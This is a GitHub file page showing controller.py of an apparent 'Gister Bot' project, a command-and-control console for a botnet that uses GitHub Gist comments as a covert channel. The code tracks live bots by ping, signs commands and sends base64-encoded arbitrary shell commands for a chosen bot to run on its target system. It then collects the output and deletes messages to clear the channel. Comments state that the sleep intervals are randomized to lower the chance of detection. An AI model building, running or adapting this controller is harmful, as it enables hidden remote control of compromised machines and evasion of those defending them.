-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathcontroller.py
More file actions
273 lines (220 loc) · 8.71 KB
/
controller.py
File metadata and controls
273 lines (220 loc) · 8.71 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
import base64
import threading
import random
from time import sleep, time
from github.GistComment import GistComment
from typing import List
from channel import Channel
from nacl.signing import SigningKey
class Controller:
def __init__(self, token: str, gist: str, signing_seed: str):
"""
Initializes the Controller object.
:param token: GitHub personal access token
:param gist: Gist ID
:param signing_seed: The seed to use for generation of singing private key
"""
self.channel = Channel(token, gist)
self.active = True
self.response_thread = threading.Thread(
target=self.receive_responses, daemon=True
)
self.ping_thread = threading.Thread(target=self.ping_bots, daemon=True)
self.last_ping = None
self.signing_key = SigningKey(base64.b64decode(signing_seed.encode("utf-8")))
print(
f"Verify key: {base64.b64encode(self.signing_key.verify_key.encode()).decode('utf-8')}"
)
self.bots = {}
self.bots_lock = threading.Lock()
self.selected_bot = None
self.response_thread.start()
self.ping_thread.start()
self.wait_for_commands()
def receive_responses(self):
"""
Checks the channel for new responses from bots
"""
while self.active:
for new_response in self.channel.check_messages():
self.handle_response(new_response)
# Randomized sleep for a lesser chance of detection
sleep(random.uniform(1.5, 5))
def handle_response(self, response: GistComment):
"""
Handles responses from bots
:param response: the response to decode and process
"""
with self.bots_lock:
if Channel.PING_RESPONSE in response.body:
bot_id, command_id = self.parse_response_metadata(response)
if not self.bots.get(bot_id):
self.bots[bot_id] = {}
self.bots[bot_id]["last_ping"] = command_id
self.channel.delete_message(response.id)
elif Channel.BINARY_RESPONSE in response.body:
bot_id, command_id = self.parse_response_metadata(response)
bot = self.bots.get(bot_id)
if bot and bot["commands"] and bot["commands"][command_id]:
output_begin = response.body.find("(") + 1
output_end = response.body.find(")", output_begin)
output = base64.b64decode(
response.body[output_begin:output_end].encode("utf-8")
).decode("utf-8")
print(f"\n{output}")
self.channel.delete_message(command_id)
bot["commands"].pop(command_id)
self.channel.delete_message(response.id)
def parse_response_metadata(self, response: GistComment) -> (str, str):
"""
Parses needed response metadata from a response
:param response: GistComment containing the response
:return:
"""
response_footer = response.body[response.body.rfind("[") :]
response_id = base64.b64decode(
response_footer.split("(")[1].split(")")[0].encode("utf-8")
).decode("utf-8")
bot_id = response_id.split("-")[1]
command_id = int(response_id.split("-")[0])
return bot_id, command_id
def ping_bots(self):
"""
Pings all bots to check which bots are still alive.
"""
while self.active:
if self.last_ping:
self.channel.delete_message(self.last_ping)
with self.bots_lock:
active_bots = {}
for bot_id, bot in self.bots.items():
if bot["last_ping"] == self.last_ping:
active_bots[bot_id] = bot
elif bot["commands"]:
self.cancel_running_commands(bot["commands"])
self.bots = active_bots
if self.selected_bot not in self.bots:
self.selected_bot = None
self.last_ping = self.send_command(f"{Channel.PING_REQUEST}").id
# Randomized sleep for a lesser chance of detection
sleep(random.uniform(50, 70))
def cancel_running_commands(self, commands: dict):
"""
Cancels running commands and clears them from the channel if the bot goes offline
:param commands:
:return:
"""
for running_cmd, _ in commands.items():
try:
self.channel.delete_message(running_cmd)
except:
continue
def wait_for_commands(self):
"""
Waits for user input and executes commands based on it
"""
while self.active:
input_str = input(f"({self.selected_bot if self.selected_bot else '*'})$ ")
args = input_str.split(" ")
command = args[0].lower()
if command == "exit":
self.exit()
elif command == "status":
self.print_status()
elif command == "help":
self.print_help()
elif command == "list":
self.print_bots()
elif command == "bot":
self.select_bot(args[1:])
elif command == "exec":
self.execute_command(args[1:])
elif command == "":
continue
else:
print("Invalid command. For a list of available commands enter 'help'.")
def exit(self):
"""
Stops the controller console
"""
self.active = False
if self.last_ping:
self.channel.delete_message(self.last_ping)
def print_status(self):
"""
Prints bot status (how many are still alive based on pings)
"""
with self.bots_lock:
print(f"Bots currently online: {len(self.bots)}")
def print_bots(self):
"""
Prints all alive bots
"""
with self.bots_lock:
for bot_id in self.bots.keys():
print(f"{bot_id}")
def select_bot(self, args: List[str]):
"""
Selects the bot to which following commands are sent
:param args: Command arguments
"""
if len(args) < 1:
print("You must enter a valid bot ID.")
return
with self.bots_lock:
bot_id = args[0]
if bot_id == "*":
self.selected_bot = None
elif bot_id in self.bots.keys():
self.selected_bot = bot_id
else:
print("The given bot is invalid or the given bot is offline")
def execute_command(self, args: List[str]):
"""
Executes an arbitrary command on the target OS
:param args: The command
"""
with self.bots_lock:
if not self.selected_bot:
print(
"No bot selected, sending arbitrary commands to all bots at once is not supported!"
)
return
bot_id = base64.b64encode(self.selected_bot.encode("utf-8")).decode("utf-8")
self.send_command(
f"{Channel.BINARY_REQUEST} [](<{base64.b64encode(' '.join(args).encode('utf-8')).decode('utf-8')}>) []({bot_id})",
save_command=True,
)
def send_command(self, command: str, save_command: bool = False) -> GistComment:
"""
Signs the command and sends it to the channel
:param command: Command to send
:param save_command: Whether to save this command to the bot dict
:return: GistComment containing the command
"""
signature = base64.b64encode(
self.signing_key.sign(command.encode("utf-8")).signature
).decode("utf-8")
command += f" [](_{signature}_)"
command = self.channel.send_message(command)
if save_command:
bot = self.bots[self.selected_bot]
if not bot.get("commands"):
bot["commands"] = {}
bot["commands"][command.id] = time()
return command
def print_help(self):
"""
Prints help.
"""
print(
f"\n"
f"Gister Bot C&C CLI\n"
f"==================\n"
f"List of available commands:\n"
f"status\t\t\t=> Prints the number of available bots\n"
f"list\t\t\t=> Lists available (alive) bots\n"
f"bot <bot id>\t=> Selects a bot to execute commands on\n"
f"exec <command>\t=> Executes a command on a selected bot\n"
f"exit\t\t\t=> Cleans up the communication channel and exits\n"
)